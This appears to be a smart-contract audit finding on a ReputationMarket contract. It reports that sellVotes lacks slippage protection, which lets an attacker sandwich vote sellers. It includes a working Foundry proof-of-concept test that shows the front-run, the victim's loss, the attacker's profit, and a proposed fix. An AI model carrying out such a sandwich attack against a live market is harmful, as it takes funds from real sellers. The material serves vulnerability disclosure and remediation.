Bouncy Coffee Falcon
High
Malicious participant in ReputationMarket
will sandwich attack vote sellers, causing loss of ReputationMarket::fundsReceived
to vote sellers
Lack of slippage protection in ReputationMarket::sellVotes
(ReputationMarket.sol#L495-534) will cause loss of funds received by vote sellers (ReputationMarket::fundsReceived
). Malicious participant (attacker) will sandwich attack the victim's ReputationMarket::sellVotes
by calling ReputationMarket::sellVotes
before (frontrun) and ReputationMarket::buyVotes
after (backrun) the victim's transaction. This attack will work regardless if it is a TRUST
vote or a DISTRUST
vote.
Lack of slippage protection in ReputationMarket::sellVotes
(ReputationMarket.sol#L495-534)
- Market must be created and active. There are many ways to do this, but for this example,
1.1admin
needs to callReputationMarket::setUserAllowedToCreateMarket
to setcreationAllowedProfileIds
formarketOwnerProfileId
to betrue
.
1.2marketOwner
needs to callReputationMarket::createMarketWithConfig
with a validmarketConfigs
index and amsg.value
greater than the minimuminitialLiquidity
required. - Attacker needs to have votes in market, i.e. attacker calls
ReputationMarket::buyVotes
to buy votes before attack - Victim needs to have votes in the same market, i.e. victim calls
ReputationMarket::buyVotes
to buy votes
None
- Attacker frontrun victim's
ReputationMarket::sellVotes
with attacker's ownReputationMarket::sellVotes
to drop thevotePrice
- Victim's
ReputationMarket::sellVotes
executes at a low price, causing loss ofReputationMarket::fundsReceived
sent to victim - Attacker backrun victim's
ReputationMarket::sellVotes
withReputationMarket::buyVotes
to make a profit
Impact: High. The victim suffers a loss of funds due to sellVotes
executing at a lower price. The attacker gains this same amount as a profit (assuming no fees) from the sandwich attack.
Likelihood: High. An attacker will always be able to sandwich attack the victim's sellVotes
and are incentivized to do so for financial gain.
Severity: High
The below PoC is written in foundry
. To set up the environment, run the following code in the ethos/packages/contracts
directory (ref).
- Install
foundry
curl -L https://foundry.paradigm.xyz | bash
- Install the
@nomicfoundation/hardhat-foundry
pluginnpm install --save-dev @nomicfoundation/hardhat-foundry
- Import the plugin into
hardhat.config.cts
import "@nomicfoundation/hardhat-foundry";
- Initialize
foundry
configuration file (foundry.toml
) and installforge-std
using the belownpx hardhat init-foundry
- Install libraries and dependencies required
forge install openzeppelin/openzeppelin-contracts --no-commit forge install openzeppelin/openzeppelin-contracts-upgradeable --no-commit
Place the following PoC into test/ReputationMarket.t.sol
and run the following
forge test --mt testSandwichAttack --via-ir
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {Test} from "forge-std/Test.sol";
import {ReputationMarket} from "contracts/ReputationMarket.sol";
import {ERC1967Proxy} from "lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IEthosProfile} from "contracts/interfaces/IEthosProfile.sol";
contract ReputationMarketTest is Test {
address ethosDeployer = makeAddr("ethosDeployer");
address protocolFeeAddress = makeAddr("protocolFeeAddress");
address marketOwner = makeAddr("marketOwner");
uint256 marketOwnerProfileId = 69_420;
address victim = makeAddr("victim");
uint256 VICTIM_INITIAL_BALANCE = 1 ether;
address attacker = makeAddr("mAlice");
uint256 ATTACKER_INITIAL_BALANCE = 11 ether;
bool TRUST = true;
bool DISTRUST = false;
address owner = makeAddr("owner");
address admin = makeAddr("admin");
address expectedSigner = makeAddr("expectedSigner");
address signatureVerifier = makeAddr("signatureVerifier");
address contractAddressManagerAddr;
ReputationMarket reputationMarket;
function setUp() public {
// Deploy mock contracts
// (contractAddressManager & EthosProfile)
MockEthosProfile mockEthosProfile = new MockEthosProfile();
contractAddressManagerAddr = address(new MockContractAddressManager(address(mockEthosProfile)));
// Deploy reputation market logic and proxy, initialize reputation market
vm.startPrank(ethosDeployer);
ReputationMarket reputationMarketLogic = new ReputationMarket();
ERC1967Proxy reputationMarketProxy = new ERC1967Proxy(address(reputationMarketLogic), "");
reputationMarket = ReputationMarket(address(reputationMarketProxy));
reputationMarket.initialize(
owner,
admin,
expectedSigner,
signatureVerifier,
contractAddressManagerAddr
);
vm.stopPrank();
// Condition 1: Market must be created and active
// (1.1) admin has to allow marketOwner to create market
vm.prank(admin);
reputationMarket.setUserAllowedToCreateMarket(marketOwnerProfileId , true);
// (1.2) marketOwner creates market (Premium tier for demonstration)
uint256 initialLiquidity = 1 ether; // 100*DEFAULT_PRICE for marketConfigs(2) Premium tier;
vm.deal(marketOwner, initialLiquidity);
vm.prank(marketOwner);
reputationMarket.createMarketWithConfig{value: initialLiquidity}(2);
// Condition 2 : Attacker needs to have votes in market
vm.deal(attacker, ATTACKER_INITIAL_BALANCE);
vm.startPrank(attacker);
uint256 expectedVotesAttacker = 2000; // 11 ETH = 2097 votes
uint256 slippageBasisPointsAttacker = 10_000;
reputationMarket.buyVotes{value: attacker.balance}(marketOwnerProfileId, TRUST, expectedVotesAttacker, slippageBasisPointsAttacker);
vm.stopPrank();
// Condition 3: Victim needs to have votes in market
vm.deal(victim, VICTIM_INITIAL_BALANCE);
vm.startPrank(victim);
uint256 expectedVotesVictim = 0; // 1 ETH = 182 votes
uint256 slippageBasisPointsVictim = 10_000;
reputationMarket.buyVotes{value: victim.balance}(marketOwnerProfileId, TRUST, expectedVotesVictim, slippageBasisPointsVictim);
vm.stopPrank();
}
function testSandwichAttack() public {
// using TRUST votes to demonstrate attack
// DISTRUST votes will work the same
// Simulate the vote selling if no sandwich attack
uint256 victimVotes = reputationMarket.getUserVotes(victim, marketOwnerProfileId).trustVotes;
vm.prank(victim);
(, uint256 fundsReceivedNoSandwich,,,uint256 minPriceNoSandwich, uint256 maxPriceNoSandwich) = reputationMarket.simulateSell(marketOwnerProfileId, TRUST, victimVotes);
uint256 avgVotePriceNoSandwich = (minPriceNoSandwich + maxPriceNoSandwich) / 2;
// avgVotePriceNoSandwich: 0.005492983499747185 ETH/trustVote
// fundsReceivedNoSandwich: 0.999713710481421484 ETH
// Step 1: Attacker frontrun victim's sellVotes with attacker's own sellVotes to drop the price
uint256 attackerBalanceBeforeSandwich = attacker.balance;
uint256 attackerVotes = reputationMarket.getUserVotes(attacker, marketOwnerProfileId).trustVotes;
uint256 attackerVotesBeforeSandwich = attackerVotes;
vm.prank(attacker);
reputationMarket.sellVotes(marketOwnerProfileId, TRUST, attackerVotes);
// Step 2: Victim's sellVotes executes at low price
uint256 victimBalanceBeforeSell = victim.balance;
vm.prank(victim);
(,,,,uint256 minPriceWithSandwich, uint256 maxPriceWithSandwich) = reputationMarket.simulateSell(marketOwnerProfileId, TRUST, victimVotes);
vm.prank(victim);
reputationMarket.sellVotes(marketOwnerProfileId, TRUST, victimVotes);
uint256 avgVotePriceWithSandwich = (minPriceWithSandwich + maxPriceWithSandwich) / 2;
uint256 victimBalanceAfterSell = victim.balance;
uint256 fundsReceivedWithSandwich = victimBalanceAfterSell - victimBalanceBeforeSell;
// avgVotePriceWithSandwich: 0.005022544841938360 ETH/trustVote
// fundsReceivedWithSandwich: 0.914093005949404548 ETH
// Step 3: Attacker backrun victim's sellVotes with buyVotes to make a profit
uint256 expectedVotesAttacker = 2000; // 11 ETH = 2097 votes
uint256 slippageBasisPointsAttacker = 10_000;
vm.prank(attacker);
reputationMarket.buyVotes{value: ATTACKER_INITIAL_BALANCE}(marketOwnerProfileId, TRUST, expectedVotesAttacker, slippageBasisPointsAttacker);
uint256 attackerVotesAfterSandwich = reputationMarket.getUserVotes(attacker, marketOwnerProfileId).trustVotes;
uint256 attackerBalanceAfterSandwich = attacker.balance;
// Assert: Victim's sellVotes executes at lower price due to sandwich attack
assertLt(avgVotePriceWithSandwich, avgVotePriceNoSandwich);
// Assert: Victim receives less funds from sellVotes due to sandwich attack
assertLt(fundsReceivedWithSandwich, fundsReceivedNoSandwich);
// Assert: Attacker profits from the sandwich attack
// Attacker has same number of votes after sandwich attack
assertEq(attackerVotesAfterSandwich, attackerVotesBeforeSandwich);
// Attacker has made profit after sandwich attack (0.085620704532016936 ETH)
assertGt(attackerBalanceAfterSandwich, attackerBalanceBeforeSandwich);
}
}
contract MockContractAddressManager {
IEthosProfile ethosProfile;
constructor (address _ethosProfile){
ethosProfile = IEthosProfile(_ethosProfile);
}
function getContractAddressForName(string memory contractName) external returns (IEthosProfile) {
return ethosProfile;
}
}
contract MockEthosProfile {
function verifiedProfileIdForAddress(address userAddress) external returns (uint256) {
return 69_420;
}
}
Implement slippage protection in ReputationMarket::sellVotes
(ReputationMarket.sol#L495-534).
function sellVotes(
uint256 profileId,
bool isPositive,
uint256 amount
+ uint256 expectedFunds
+ uint256 slippageBasisPoints
) public whenNotPaused activeMarket(profileId) nonReentrant {
_checkMarketExists(profileId);
// calculate the amount of votes to sell and the funds received
(
uint256 votesSold,
uint256 fundsReceived,
,
uint256 protocolFee,
uint256 minVotePrice,
uint256 maxVotePrice
) = _calculateSell(markets[profileId], profileId, isPositive, amount);
+ _checkSlippageLimit(fundsReceived, expectedFunds, slippageBasisPoints);
// update the market state
markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold;
votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold;